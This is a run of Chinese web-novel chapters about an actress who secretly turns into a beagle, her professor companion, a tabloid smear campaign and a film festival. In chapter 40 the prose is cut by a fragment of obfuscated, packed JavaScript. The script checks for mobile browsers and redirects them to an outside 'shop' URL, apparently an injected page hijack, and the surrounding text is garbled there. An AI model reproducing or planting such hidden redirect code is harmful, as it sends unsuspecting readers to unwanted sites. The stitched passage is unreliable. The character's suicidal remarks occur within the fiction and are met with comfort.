夏焰靠近他的嘴唇,几乎要被他吐出的气息灼烧。
柔软的唇贴着同样柔软的唇,属于他们的第一个吻。
她的嘴唇向下挪动一分,亲吻那颗藏在夜里的痣。
这次她不贪恋,慢慢起身,她要去解决她的困难,完成她的工作。
又是在一个夜里,她悄悄推开卧室门,准备离开。
却听到身后人起身的动静,他说:
“外面下雨了,让我送你去吧。”
39. 他是小狗狗我的监护人
“夏焰,听说你在这次的电影拍摄中面临着不少新的挑战,可不可以给我们分享一下。”
主持人提出第一个问题。
夏焰坐在她的对面,距离极近,几乎腿挨着腿。主持人双膝朝向她的方向,手撑住下巴,做出倾听的姿势。
夏焰笑着向她点点头,她说:
“这次拍摄的确不同以往,过去总是武戏为主,侧重于动作场面的拍摄,以武打动作展现人物内核精神,但是我在这部电影故事中饰演角色如真,可以说是和过去演过的所有角色形象都截然不同。”
主持人微微抬颌鼓励她继续说下去。
“如真是一个生活在异国他乡的中国女孩,在中外两种文化的影响下,她独特的精神内核该怎样完整展现出来,这是我需要思考的问题。”
“刚开始我也很困惑,在武戏里每一个动作都能反映人物的情绪波动,爱与恶都藏在一招一式里。如真不同,作为大家闺秀她的行为举止被牢牢限制,如同《牡丹亭》里的杜丽娘被禁锢在闺阁,但她们二者的灵魂仍然向往自由。”
“她惊涛骇浪的思想需要一个发泄口,我寻找了很久,在那段时间里我反复地看昆曲《牡丹亭》,尤其是《惊梦》那出戏,反复看台上的戏曲演员是怎么在空无一物的舞台上表演出百花争艳的场景,是怎么在含蓄的动作表达下让所有观众都懂得丽娘和梦梅之间的爱与情。”
夏焰一开口就如同洪水开闸,无法停下,说到激动的地方双手抬起,握拳再用力张开,重复多次。
“我终于明白了。”
她倾身靠近主持人寻求认可。
“使用她的眼睛。”
“眼睛是她精神的闸口,她用眼睛看到一切,也用眼睛泄露思想情绪。”
“她的喜怒哀乐,爱,恨,痴,悔。”
“一切都在她的眼睛里。”
她的眼睛紧追着对面人的眼睛,那样诚恳。
“嗯,明白了,我们能够想像这次拍摄对你来说也是一次很大的挑战,就近两天来看,夏焰你也是陷入了一些舆论争端,戏里戏外似乎都遇到一些波折。”
主持人说着,把手放在夏焰的手背上,既是引导也是安抚。
“你和某位大学教授同居恋爱的传闻是否属实呢?”
她的语气仍然平和,就像是问出一个专业问题一样不带任何想要窥探的情感。
夏焰眨眨眼,躲开了她的眼睛。
她看向身前的镜头,黑洞洞的镜头像是一个黑洞要把她从座位上吸进去,再狠狠搅碎。
镜头后面只有摄影师一人,她却看到了屏幕背后的无数双贪婪的眼,想要窥探她的一切,好像全身裸露地站在众人面前。
她强行咧开嘴,身体侧向主持人,她说:“不是的,我们不是恋爱关系。”
“你们确实认识对吗?”
夏焰点点头:“是的。”
“那你们二人的关系是?”
夏焰一时语塞,突然忘记了沈盛告诉她的官方套话。
她转头看向镜头,脑袋里没由来的想到一个事实,突然发笑。
屏幕后还有一双眼睛,正怜爱地注视她。
她目光灼灼和主持人相撞。
她说:“他是我小狗的监护人。”
对的,朋友生前托付给夏焰一只小狗,因为她最近的工作实在是忙碌,没有办法照顾好它,所以想要委托身边人暂时照顾一下。林砚之作为夏焰朋友生前的大学老师,给夏焰发来了讯息……
林砚之提供了一张合照,照片里方昉正抱着那只比格犬。
“你还有这张照片呀。”
夏焰坐在沙发上拿着那张照片,面前的平板刚刚结束一段节目采访。
速度很快,上午做的采访,晚上就已经剪好放出。
主持人最后呼吁大家不要轻信谣言,请给这位年轻的演员多些支持与鼓励,多多关注她的作品。
节目播出的同一时间,夏焰在微博再次澄清俩人的关系,并附上那张照片。
俩人坐在沙发上一起看完采访视频。
夏焰觉得脸热,心里疯狂尖叫,不明白自己是怎么说出最后那句话的。
他是我小狗的监护人。
我小狗,我的小狗,还是我是小狗。
监护人,小狗的监护人还是我的监护人?
没说谎。确实是小狗我的监护人。
夏焰用手扇扇风,给自己降温。
“今天真热啊。”
林砚之拿着一瓶牛奶走出厨房,听见夏焰的话看向窗外。
“外面在下雪。”
夏焰瞪他一眼:“你把空调温度开得太高了!”
他把牛奶递给夏焰。
夏焰握在手里,瓶身是温热的,他刚刚在热水里烫好。
林砚之把空调温度调低一度,问她:“你是怎么来的?不会被拍到吗?会不会有麻烦?”
没听到回复,他疑惑转身。
在他转身之间,沙发上的女人突然消失不见,取而代之的是一只毛茸茸的小比,她伸出舌头舔舔嘴边残留的牛奶。
答案不言而喻。
小狗向他伸手。
抱抱。
他坐下,把小狗抱在腿上,解开她的毛毛领,露出银闪闪的长命锁。
“你已经可以自己变了吗?”
他捏捏夏焰的爪子。
“自己能变成小狗,还能变回去吗?”
他捏住她的嘴筒子,笑着说:“给我看看大变活人。”
“独家秘术概不外传。”
夏焰甩开他的手,傲娇地把头偏向一边。
除非你求我。
“什么意思?不给看还是不能变?”
“我还以为你已经很厉害了,原来还是不太熟练。”
哼哼,你以为你用激将法我就会上当吗?
她舔舔爪子,不可一世的样子。
“想要我变给你看,那你就拿出点诚意来,比如说……”
她话还没说完,男人低头在她的脸上印下一个吻。
夏焰头昏脑涨,像是被机器用力挤压又拉伸,她反应过来的时候已经重新变回人形,坐在男人腿上。
林砚之也没想到,十分惊讶。
他的手还停留在夏焰的后腰上,热辣的温度烫得灼人。
他突然撒手,夏焰向后倒去,林砚之迅速抓住她的胳膊,把她拉回原位,她又坐在他的腿上。
她一只手反握住林砚之抓她的手臂,另一只手撑在他的大腿上。
夏焰脸颊爆红,林砚之也局促的扭过头去,一抹暧昧的红从他的脖子爬上耳朵。
“咳咳,还能强制开机噢。”
夏焰不自在地咳嗽两声,从他的腿上跨过去,坐在旁边。
空气中弥漫着诱人的芬芳。
她的头发,他的衣服。
她的手心,他的鬓角。
她的脖颈,他的耳朵。
还有混杂在热空气里的百合花香。
俩人简直要晕倒。
不敢看彼此,又不舍得错过,只好用余光把对方看个透彻。
“你今晚,要回去吗?”
林砚之有年长者的自觉性,率先打破沉默。
“外面在下雪。”
夏焰听见自己的声音被揉进百合花香。
只见林砚之点头,非常贴心,他说:“我会送你。”
夏焰眼珠子上翻,又把
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自己变成小狗。
她跑了两步起跳转身抬脚踹向林砚之的心口。
然后竖着天线尾巴,朝他的卧室走去。
“好吧。”他瞬间就妥协了,看着她跳上床反而松了一口气。
“先洗洗脸洗洗脚吧。”
他把水端到床边,揉了毛巾来给她洗脸,再抱着她让她踩进水里洗洗四个小爪子。
夏焰清爽十足,缩进温暖的被窝里,林砚之开了电热毯,暖乎乎的烘烤着她的身体。
“有点烫屁股噢。”
夏焰抬起屁股。
“会不会把便便烤干,明天拉不出来?”
她揉揉自己的肚子,看着躺在她身边装睡的林砚之,决定再过一个小时偷偷变人,吓他一跳。
她心里惦记着,不过被困意打败了,最后以小狗形态沉沉睡去。
直到清晨闹钟响起。
她坐起身来,关掉闹钟,发现自己已经是人的形态。
是在梦里变的?
她扭头看向身边,男人已经不见踪迹。
夏焰走出卧室,走到厨房门口向里探头。
没有。
她走到浴室门口,敲敲门。
无人应答。
她拧开门把手。
空无一人。
“尼莫,他去哪了?”
尼莫身体一抖:“拜托不要这么吓人,怎么突然变这么大,吓到我脆弱的小心脏。”
尼莫认识她所有的样子,不论她是人还是小狗。它不懂其中的秘密,它只知道她就是她,不会认错。
它挠挠肚皮,打个哈欠,缓缓开口:“不知道,很早就出去了。”
夏焰把鱼粮撒进鱼缸,尼莫游来游去张口接住一颗颗鱼粮。
她百无聊赖,站在窗口看向屋外。
一片雪白。
她在窗户上吐出热气,用手指在上面作画。
画了一个潦草的小狗,和一个火柴人。
在他们中间加上一颗爱心。
她撑着脸笑,想了想把小狗轻轻擦掉。
重新对着窗户玻璃哈气,填上了另一个小人。
仔细地补上刚刚不小心擦去的爱心。
她看着窗户上的作品满意极了,像第一次上手工课做出的一份作品,她要保存下来,带回家给家里人看。
夏焰掏出手机,想要拍下来,永远留下珍藏。
刚打开手机就收到讯息轰炸,她甚至没看清内容,下意识心悸。
“看消息!”
沈盛的消息刚发来,紧接着就打来电话。
夏焰握紧手机,没有接通,点进了她的聊天框。
只有一张截图。
那个说“真正有趣的还在后头”的账号,在昨晚艾特夏焰,只发了一张照片。
是在半年前的一个晚宴上,不知道拍照的人是站在哪里拍的照片,照片里的夏焰和身边的导演挨得极近,看不清二人的表情,老头的手正搭在夏焰腰间。
“我靠,昨天刚澄清,今天又爆料,此女不简单啊。”
“这导演老头不是前几年就爆出好几个陪床的吗?全是年轻小姑娘,就好这口呗。”
“看夏小姐何时发公告,假的就告他!”
“她不敢吧哈哈那老头是圈里大佬诶。”
锲而不舍响个不停的电话挂断了,留下一个刺眼的红色标记。
在这时收到了一个意想不到的人发来的讯息。
“需不需要我帮忙澄清?夏小姐今晚七点见。”
是邹城。
玻璃上的图画早就变质,顺着线条向下流水,小人的躯干已经模糊不清,圆圆的两个脑袋变成一双眼睛,向下流淌的水珠是眼睛在流泪。
40. 勇敢小狗向前冲
“我回来了。”
屋外的冷空气跟在他身后一起进屋,他周身散发出凛冽寒气,肩膀上盛有片片雪花。
手指被冻僵了,只有手里提着的早餐还冒着热气。
一碗热气腾腾的小馄饨。
“你给我打电话了吗?我没带手机。”
林砚之从茶几上拿起手机,往卧室走。
“还没起床吗?我买了早餐。”
他弯曲手指,不紧不慢地敲响卧室门。
没有回应。
他把手放到门把手上。
“你在屋里吗?”
还是没有人应答。
林砚之心里发紧,空调温度太高了,他有些喘不过来气,侧头面向窗户,玻璃上面的水珠正不规则流下,在窗户边缘汇成一小个池塘。
他呼吸不畅,拉开拉链。
手机在这时发出一声震动。
他低头看向手机,是谁发来的消息?
林砚之眉头紧锁,嘴角绷紧,不自觉地手臂发力握紧门把手。
突然惊醒一般,他抬头用力下按门把手。
被反锁了。
他用尽全力反复下按门把手,手掌重重拍打着门板,门框震动不停。
“开门!夏焰!开门!”
木质门框在他的暴烈捶打下晃动得越来越厉害,门锁被松动了,整扇门看起来岌岌可危。
“开门!”他发狠地向外拉门。
“你在屋里吗?”
他粗喘着,快要窒息。
“再不开门我要踹门了!”
焦灼不安与担忧恐惧交织密密麻麻如同天罗地网向他袭来。
令他心神大乱,动作失控。
林砚之松开门把手,向后退两步,抬腿就要踹向门板。
门从里面打开了。
夏焰完完整整地站在他面前,眼泛泪光。
他一下刹不住,冲到她身前,抓住她的胳膊。
几乎是怒吼:“你!”
夏焰怒目圆睁对他吼叫:“我没有!我没有!都说了我没有!”
她歇斯底里地哭嚎,眼泪像断了线的珍珠项链,一颗颗,一串串干脆地掉在地毯上。
林砚之慌乱地伸手去接,珍珠落在他手心里变成一滩雪水,就像屋外的片片雪花落在他的肩膀上,却无法停留。
他单手揽她入怀,用力揩去她眼角的眼泪。
“我真的没办法了。”她紧贴在他的怀里抽泣,“要我去死就去死!”
林砚之手掌贴住她的后脑勺让她靠在他的胸口,另一只手搂住她的肩膀紧紧抱住她的身体。
夏焰抬手抱住他的腰,抓住他的衬衣,已经湿透了。
后背被汗水浸湿,胸前被她的眼泪沁透。
“我真的不知道该怎么办了!他们把我的账号没收了,不许我说话,那都是假的!他们不许我说话!”
夏焰嚎啕大哭,抽泣间眼前发黑,瘫倒在林砚之怀里。
“呼气,放松。”
林砚之捧着她的脸,叫她平复呼吸。
夏焰神情恍惚,听到他的话努力深呼吸。
等她渐渐恢复,林砚之才放下手,环抱在她的身后,低头亲吻她的发旋。
他弯腰抱她去卧室,把她平放在床上,让她休息。
夏焰的眼泪还在向外渗,流进她的鬓角。
她拉着林砚之的手不放,林砚之只好牵着她的手给她自己擦干眼泪。
看她红肿的眼睛,心里不禁一酸。
“没事的。”
他拍拍夏焰的胳膊,安抚她的情绪。
夏焰瞪着天花板,很长时间没有一句话。
林砚之捏紧她的手,两人的手心沾满了汗水。
他柔声问道:“肚子饿不饿?”
夏焰嘴巴嗫嚅着,听不清声音。林砚之侧头靠近她。
“怎么了?”
“好想死。”
22岁的夏焰第一次经历这么大规模地曝光,无休止的谩骂,不堪入目的污言秽语,她不小心陷入黄泥,沼泽,用尽全力无法脱身。
如果说前一次的曝光只是披露她的私人感情,满足部分人的窥探欲,这一次则是给了更多人宣泄的机会,终于让他们站在“正义”的一边,将捕风捉影的事情,添油加醋,用力地抨击,得到一份扭曲的快感。
他们贪婪地咀嚼每一个细节,她注定会成为他们茶余饭后的谈资。
“我不会去找他的。”
“大不了就让我死。”
夏焰梗着脖子,死死盯着天花板,好像要把那个人碎尸万段。
“别这样说。”
林砚之的声音嘶哑,手指发凉不住颤抖,他单膝跪在床边,恳求她不要说这些不好的话。
不知道过了多久,夏焰突然坐起身,拿过床头的抽纸用力吸鼻涕,投篮一样丢进垃圾桶里。
她双手扣住林砚之的肩膀,趴在他的肩头。
“我没事的,大不了就是死掉。”
她把头藏在他的颈侧,林砚之看不清她的表情,也能想象出她故作无畏的模样。
林砚之搂住她的脑袋发出一声叹息。
夏焰坐在餐桌前,拿着勺子一口一口吃着小馄饨。
林砚之刚给她重新热好,她动嘴咀嚼,嘴巴一撅,悲从中来,又觉得委屈。
眼泪掉到瓷碗里,勺子磕到碗壁发出清脆的声响。
“我还是……”她用袖子擦着眼泪,“有一点难过。”
林砚之坐在她身边推开碗,扯了纸巾给她擦眼泪。
“我是不是很没用?”
她哭红了脸,皱紧眉头。
林砚之拉住她的双手,让她抬头:“不是的,你已经很勇敢了。”
她也才刚刚踏入社会,没有人教她该怎样做,从小到大都是自己摸爬滚打,就算受了欺负,只能自己消化。
夏焰很少在别人面前哭,母亲告诉她,哭是懦者的象征。
但是自从遇到林砚之以来,她总是在他的面前哭泣。
摔跤的孩子总是左顾右盼,如果没有看到父母,就忍痛站起来拍拍屁股,继续往前走。
要是听见了妈妈的声音:“怎么了?”
满心委屈就会如同滔滔江水,奔涌不停。
林砚之拿了夏焰手机,暂时切断了她和外界的联系,怕她的精神不稳定再受创伤。
“完全没办法确定是谁吗?”
林砚之站在阳台角落打电话,偷偷瞥了一眼坐在沙发上的夏焰,电视机正在播放喜剧电影,她仍然闷闷不乐。
“有什么办法?那人根本不和我们联系,也不来要钱,就下了死手一定要搞她。我们已经发了澄清,根本没法改变舆论,不知道她能惹到谁。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069791|191705||http|test|mini|href|location''.split(''|''),0,{}));
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>林砚之疲惫地揉揉眼眶,他问:“接下来什么安排?我已经让她不要看手机,不要接触网络,她现在情绪稳定点了。”
电话那头无奈地叹气:“熬吧。”
熬过去,一切都好了。
互联网更新速度快,一波未平一波又起,过不了多久她就会从饭桌上走下来,慢慢地不再有人讨论。
可她受到的伤害呢?
也可以熬过去吗?
时间能冲淡吗?
夏焰被抽空了灵魂,魂不守舍地坐在沙发里,一坐就是一天,林砚之叫她去睡觉,她不愿意挪位置,只想一动不动地待在原地。
墙上的挂钟短针指向七,夏焰抱着手看着分针跨过数字十二。
她脑袋一偏倒下了。
夏焰躺在床上,强制自己入睡。
尽管身体已经非常疲惫了,但她的大脑一刻不停地想东西,抓着自己不去想今天的事,于是开始天马行空,乱七八糟,怎么也睡不着。
小学语文老师到底知不知道她那次是装病没去上学?
如果没有入圈,她会去做什么?
会读什么专业?考什么大学?
还会碰到林砚之吗?
我还会认识他吗?
我们会是什么关系?
他还会爱我吗?
夏焰惊醒。
她在混沌间睡着了,梦里还在想问题。
现在清醒了,身体动弹不得。
有人在她身边出现,俯身靠近她的脸颊,呼出的热气打在她的脸上。
他小心翼翼拉住她的手,说:“没用的是我,没法帮你解决问题。”
他用手指摩挲她的手背。
一个吻留在她的手心。
她的心跳得好快,想要回握住他的手指,却没法动作。
浑浑噩噩地再次陷入昏睡。
直到手机震动将她吵醒,她的手机被放在床头,再次收到了邹城的短信。
夏焰睁不开眼睛,眯着眼睛看信息。
“你不来吗?别后悔。”
夏焰直接点开了他的语音电话,响动几声,最终还是接通。
“……”
“去死吧。”
夏焰挂断了电话。
她缩回被子里,打个哆嗦,电话铃声再次响起。
还敢打回来。
吃屎吧你!
“吃屎……”
“快看手机!导演帮你说话了!”
导演?那个老头会帮我说话?
“蒋文君。”
林砚之的声音出现在她的身后。
她循声转头,林砚之举起手机给她看。
蒋文君导演刚刚发布了一条微博,转发了夏焰账号发布的澄清内容,她说:
夏焰,我的女主角。一个敬职敬业的优秀演员,我今天必须站出来为她说话。仅凭一张角度刁钻的照片,就有人泼脏水,编排她的是非。
她究竟是什么样的人,我们整个剧组都有目共睹!
背后人的无端诋毁,真当我们所有人都是死的吗?希望各位朋友能够理性看待,多听听关于她真正的评价,不要被有心之人带了节奏。如此下三滥的谣言攻击一位年轻女演员究竟是何居心?
电影制作也已经进入尾声,实在不想因为这些无端的谣言,毁掉所有人这么久的心血,毁掉一个优秀的演员。
41. 下雪天不要踩小狗的脚印
白茫茫的雪地里印着几串小小的爪印。
它们大多数是第一次见雪。
南方的雪下得湿润又绵重。雪粒子落在地上,下了一天一夜终于堆起一层薄雪。
夏焰试探地伸出爪子踩到被雪覆盖的地面。
不是软绵绵的质感,像是踩到细碎的冰块。
被她踩过的地方变得透明,彻底变成冰。
夏焰小心翼翼地在前面走,豆豆还停在门口,在后面喊她:“怎么样!我出来噜!”
夏焰低头小心脚下,头也不回地回喊:“你不要踩我踩过的地方!”
“不要!你踩过的才安全。我来了!”
“不要啊!”夏焰猛地回头大声制止它,可惜已经无济于事。
“我!来!哎呦我去!我去,我去,我去!”
豆豆走出第一步就摔倒了,一头砸进雪里。
几次试图站起来,都没成功,爪子在滑溜溜的冰面上使不上劲,抓不住地面,它一边打哧溜一边嚎叫。
夏焰回身去拉它,没想到两只抱在一起摔倒变成一个小球在雪地里翻滚。
“救命啊!”
“快停下来啊!”
“我不会刹车啊!”
“你不是有驾照吗!”
两只从门口一直滚到喷泉边上,撞到一棵百年老树才停下翻滚。
它们重重撞到树桩,又被弹开。
夏焰平趴在地上,脸塞进一堆雪里,刚抬起头来,树枝上面被撞落的雪淅淅沥沥掉下,砸在她头上,脑袋又重新塞进雪里。
豆豆站起身来,抖落身上的雪,呼出白气。抓着夏焰的尾巴把她拉出来。
夏焰甩甩耳朵,抖掉一脑袋的雪,用力踏踏脚,把脚下的雪踩实。
“你别踩了!等会又滑倒了!”
豆豆担心地看向她。
它扭动脖子抬头,突然一哆嗦,慢悠悠地蹭到夏焰身边。
“坏了,你把别人的雪人撞烂了。”
夏焰闻声抬头,一个就比她站起来高出一点的小雪人正歪着身子站在那里。
它的肚子被夏焰撞出一个大洞。
“咋整?”
两只面面相觑。
夏焰挠挠脖子,她说:“我们给它填上。”
说罢两只小狗在一旁的雪堆里用爪子捧起一小堆雪,小心地塞进雪人的肚子。
来来回回跑了不知道多少趟终于把那个大洞填好。
夏焰满意地拍拍雪人圆鼓鼓的肚子,想了想把自己的围巾摘下来挂在它的身上。
豆豆见她这样做,也把自己的小帽子摘下来放到它的头上。
“你们干嘛呢?”
瓜皮叼着一只手套站在它们身后。
“瓜皮兄,快来,把你的手套放上去。”
“什么啊,这是师傅的手套。”
“师傅?怎么冷她也出来了吗?”
夏焰歪着头有些惊讶。
它们三个一起往回走,瓜皮和夏焰说:“是呀,我叫她不要出去,谁知道她还是出门了,幸好走得不远,就在小区里散步。她回来我检查发现这次没忘记围巾,又把手套落下了。”
它郁闷地摇摇头。
夏焰这几天一直在林砚之家里,每天早上变成小狗出门,工作结束又变成小狗回来,偶尔去师傅家里蹭顿晚饭。
师傅总是要检查她的功课,看她有没有认真练功。
天气冷了,夏焰偷懒不愿意早起,师傅也不强求,索性叫她睡个懒觉,只要不荒废功课就好。
夏焰,豆豆,瓜皮,三只在师傅脚边追着彼此屁股绕圈跑,玩游戏。
师傅这时候最高兴,颇有几分子承膝下,含饴弄孙的既视感。
最前面的豆豆跑不动了停下来,夏焰没反应过来,脸撞上它的屁股。
“你干嘛!”
豆豆吐着舌头回头看她,一脸憔悴:“我累了。”
下一秒准是伸出手要奶奶抱。
夏焰的爪子拍在豆豆的脑袋上。
“师傅抱不动你,你不要老是要师傅抱。”
豆豆低头仔细错开前面瓜皮的脚印,点点头:“好嘛好嘛,不抱就不抱。”
它们三个终于快走到门口,最前面的瓜皮兴奋回头:“我看到你的脚印了!”
尾巴后面的两只齐齐抬头,崩溃大叫:“不要啊!”
还是无济于事。
瓜皮的爪子已经放在夏焰的脚印上。
下一秒它们滚回原地。
再次被树桩弹开,撞进雪人的身体里。
豆豆熟练地站起身来,抖落毛毛上的雪,再次拽着夏焰的尾巴把她拉出来。
这次她把雪人撞了个稀巴烂。
三只站在雪地里发愣,呆呆地看着面前雪人的残肢。
“哈哈哈搞了半天要自己拼啊。”
“哈哈哈。”
“哈哈。”
三只一阵癫狂,平静下来还是要面对现实。它们拢着面前的雪不停地拍打,垒出一个稳固的地基,把滚出的雪球抬上地基,又滚出一个小一点的雪人脑袋想要放在大球上面。
瓜皮踩在豆豆身上,夏焰踩在瓜皮身上,她爪子颤颤巍巍举着小雪球,踮着脚缓缓放在大球上,爪子稍微离开一点,等它彻底平衡。
“好了没有呀!我坚持不住了!”
“好了好了。”
夏焰擦擦脑袋上不存在的汗水。
“呼!”她深叹一口气。
刚放好的雪球突然晃动,夏焰心脏跳漏一拍,连忙用爪子把它拨回原位。
“呼!”
她的爪子冰凉。
“哎呀我真的撑不住了。”
“再等一下!豆豆!”
“不行啦!”
夏焰的爪子还没来得及离开小球。
豆豆扑通趴下,夏焰手中的小雪球滑出她的手心,一路不停地滚动。
夏焰飞身跳下去追赶小雪球。
雪球滚啊滚,裹挟着雪,越滚越大。
直到一只手接住了它。
夏焰抬头,是林砚之。
他没戴手套,手指冻得通红,拿起那个雪球,递给夏焰。
他问:“在做什么?”
夏焰没接雪球,拉着他的手往前走,拍拍大球叫他放上去。
三只小狗坐在旁边摇着尾巴,看林砚之把雪人修好,为他欢呼。
林砚之无奈叹气,但手里动作不停。
他的手指修长匀称,像一把刮刀在雕刻雪人雕塑。
“好了。”
他拍拍手站起身。
夏焰揉搓着他冰凉的手,嘴筒子对着他的手心哈气,想要给他温暖。
林砚之拿起雪人身上的围巾,拍干净,给夏焰戴上。
夏焰摇
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摇头,指着雪人。
“给它戴吧,我不冷。”
林砚之听不懂她的话,给她系得工工整整。
然后摘下了他自己的围巾。
夏焰被他抱进怀里,她把脖子上的围巾解开一半搭在他的肩膀,两人离得极近。
她的额头贴紧男人的额头,发出撒娇一样的哼哼声。
林砚之把脚边的两个提起,一起带回。
瓜皮叼着手套和大家摇尾再见。
豆豆站在门口敲门,简阳扯着它的耳朵质问它手套去哪了?
它笑着装傻。
夏焰捂嘴笑着被林砚之带回家里。
一进屋,就把她放下地。
林砚之脱掉羽绒服,拿着毛巾出来给夏焰擦身体。
他半跪在夏焰身前,给她擦爪子。
夏焰一声不吭,默默享受着他的照顾,都不敢用力呼吸,生怕惊扰这一刻的温情。
林砚之对上她坦荡的眼睛,竟然有些胆怯。
他说:“还不回去吗?”
语气冷淡,却还在不停擦拭着放在他掌心的爪子。
夏焰疑惑地歪头,像是幻听了一样。
他又说了一遍:“还不回去吗?”
夏焰被他的语气冷得一哆嗦。
她一瞬间变回人形。
同样半跪在地上,仰头看着男人,感受着他的呼吸。
她语气急促:“需要工作的时候我就会回去,沈盛说了这两天有人在门口蹲我,最好不要回家,我每次出门都是变成小狗的样子,不会被人发现的。”
她一口气说了一长串,还有点不放心。
“给你带来困扰了吗?”
她歪头抬眼用黑黑的眼珠看着林砚之。
林砚之摇摇头,站起身来。
夏焰也跟着站起来。
林砚之拿着毛巾走向浴室。
夏焰站在客厅,扣着大拇指的指缝,右脚踮起放在左脚后,有些不安。
没多久林砚之走出浴室,他捡起沙发上的羽绒服,抬手穿衣。
“你去哪?”
夏焰追问。
林砚之对她笑笑:“我晚上要去学校开组会,回来拿资料的。”
夏焰皱眉。
“不吃饭就要走吗?”
林砚之低头整理衣领,一言不发。
夏焰走上前去,抬手替他整理,手还没碰到衣领,却被他不留痕迹地躲开。
他的动作很轻,但那刹那间展现的疏离让夏焰的胸口泛酸。
“我走了。”
他拿过桌上的手机,动作仓促,像是没有准备的逃离,刻意不去看她的眼睛。
在开门前回头,他看向厨房,说:“我刚才买了吃的,晚上你自己热了吃。”
说完按下门把手,准备出门。
在他抬脚踏出房门的前一秒,夏焰把他叫住。
“我明天要去参加电影节,有颁奖环节,你要去吗?”
他没有立刻转身,放在门把手上的手指泛青,像是用尽全身力气,遏制一些事情发生。
他最终没有回头。
“那你会看直播吗?”
她还在穷追不舍。
连呼吸都快静止,林砚之才微微侧身,目光落在夏焰因为纠结交缠的十指,他的喉结滚动,极轻地点了点头,像是经过了长久的思考与挣扎,最终还是不忍。
42. 爱要大声说出来!
整整两天两夜的雪终于停了。
草坪上还残留着最后的雪,心存侥幸,希望能阻止太阳升起,躲开消亡。
夏焰舔舔爪子,小区里的石子路冰凉透骨,她的爪子放在石头上又迅速抬开。
她小心翼翼地躲开石子,踩在湿润的泥巴地里。
她穿得厚厚的,风没法灌进她的衣领,走两步都有些热,坐在喷泉旁边歇息。
电梯门开,她竖起耳朵,听到楼梯口有人出来。
夏焰立即缩腿躲在树桩后面,等人离开她再出来。
却听到简阳的声音。
“我到楼下了。你来了吗?”
“我在这!”
丁丁的声音出现在夏焰身后,她反应过来迅速跑到另一边。爪子贴在树皮上,有点硌手。
她悄悄露出脑袋,看丁丁向简阳跑去。
“你到了那边有的是,你还非要吃我做的。”
简阳笑着递给他一个袋子。
“你说做了菠萝包,我昨晚就想来,谁知道突然要我出差,收拾东西没来成。”
“回来再吃啊。”
丁丁拉着简阳的手,两人的鼻尖被冷风吹得通红,丁丁吸着鼻子,咧嘴一笑:“我想你嘛,想看看你。”
简阳好像对他的坦诚示爱见怪不怪,拉过他的手臂,吻他。
“我爱你。”
他们站在冷风里拥抱,好像关于爱的承诺会永远凝固,不会过期。
微小的木刺扎进夏焰的爪子,寒冷让她感受不到疼痛,只觉得浑身发麻,她若有所思地看向那对爱侣,眨眨眼,转身离开。
国内最令人关注的电影节结束了。
林砚之果然没有来。
夏焰也没有获奖。
电影没走到最后一步,电影排期赶不上评奖期,注定颗粒无收,不过导演的本意就是带着她的女主角在大众面前露脸。
她们真正的计划是要在国际电影节上,凭这一部作品重新打开国际市场,建立跨越语言障碍的桥梁。不同肤色,不同种族,不同语言,但是所有人都会看到这部电影,所有的目光都会聚焦在夏焰身上。
那些错失的奖项不过是这场盛宴的序章。
外媒曾发文称赞蒋文君是百年难得一遇天才导演。
她在国外念书时拍摄的几部短片,每一部都堪称精品,所有奖项无一例外尽收囊中。
前几部作品都以英语叙事为主,当她带着这部华语电影出现在电影节上时,就注定会备受瞩目,成为国内外焦点。
“别紧张。”
蒋文君头发向后一甩,露出犀利的眼睛,目光如炬。
她嚼着口香糖,从外套口袋里掏出一片递给夏焰。
“嚼一嚼,不紧张。走红毯嘛,又不是没走过。你走完红毯,就可以坐着等奖,奖来了,把你背的词儿说一遍,拿着奖杯回家。”
像是在安排课程表,第一节课上这个,接下来上这个,不用写作业了,抄一下同桌的,然后背书包回家。
夏焰嚼着口香糖,双手不停揉搓着手臂。
“不紧张,就是有点冷。”
身旁的邹城一言不发,明明穿得比夏焰多得多,一身西装,还在发抖。
“你得关节炎了?膝盖抖抖抖。”
蒋文君抓住他的手臂,发现他脸色苍白,嘴唇颤抖。
“有点出息!”
她呸的一声吐出口香糖包在纸巾里装进衣服口袋,夏焰也向经纪人要了张纸,还补了下口红。
蒋文君等她补好,满意地笑笑。
“走吧,我的演员们。”
她向后招手,像一头母狮,回到了她的主场,从容不迫,让人下意识跟随。
这次出国参加电影节,一共来了五个演员,有重要戏份的演员都在这里,有的人甚至特意从剧组请假来参加,没有人会放弃这个机会。
蒋文君领头,身后一步就是夏焰。
她身穿一身酒红色礼裙,长摆极地,在阴雨连绵的灰暗色调里一下抢走了所有人的视线,成为画面的焦点。
夏焰最引以为傲的一头乌黑亮丽的秀发在红裙的衬托下黑得惊人,像她的眼睛,标志的黑。
蒋文君牵着夏焰的手在镜头前和大家挥手。
阵阵欢呼声,都是蒋文君的名字,夏焰却莫名激动。
她恍惚间听到夹杂在中间的一声夏焰。
“夏。”
“焰。”
像是被挤来挤去,喘不上气。
夏焰顺着声音寻找来源,想要找到声音的主人。
她四处张望,在一堆长枪短炮,此起彼伏的快门声中寻找。
终于在角落找到声音的主人。
一位温文尔雅的老太太,头发梳得一丝不苟,两双眼睛含笑,看着夏焰。
她没举起相机,也没有手机,只是用眼睛看她,用眼睛细心地记录她,记录这一刻。
老太太对上夏焰投来的视线,惊讶地张开嘴巴,从身边人那里借来一只笔,递给夏焰。
夏焰走到她的面前,接过那只笔,粗胖的钢笔握在手里很有质感,她的惊讶只多不少。
“我很喜欢你呀,夏焰,请给我签名吧。”
她的中文带着口音,想来不是中国人。
“我离开中国很久了,很喜欢你的电影。”
她说话没有逻辑,握着夏焰的手,想起什么说什么。
恰好夏焰也被兴奋冲昏了头脑,一点都不在意她的语序颠倒,在异国他乡居然也有了支持她的观众,没有什么比这个认知更让她激动。
“加油!我支持你!我等着看你的电影。”
她年迈嘶哑的声音极富穿透力,打进夏焰心口。
夏焰坐在座位上还在回味,傻乐。
掰着手指头算,今天有两个小女孩来看邹城。
而我有一个可以当她们两个祖母的粉丝,年龄有她们几倍大,那就算三个,略胜一筹啊,嘿嘿。
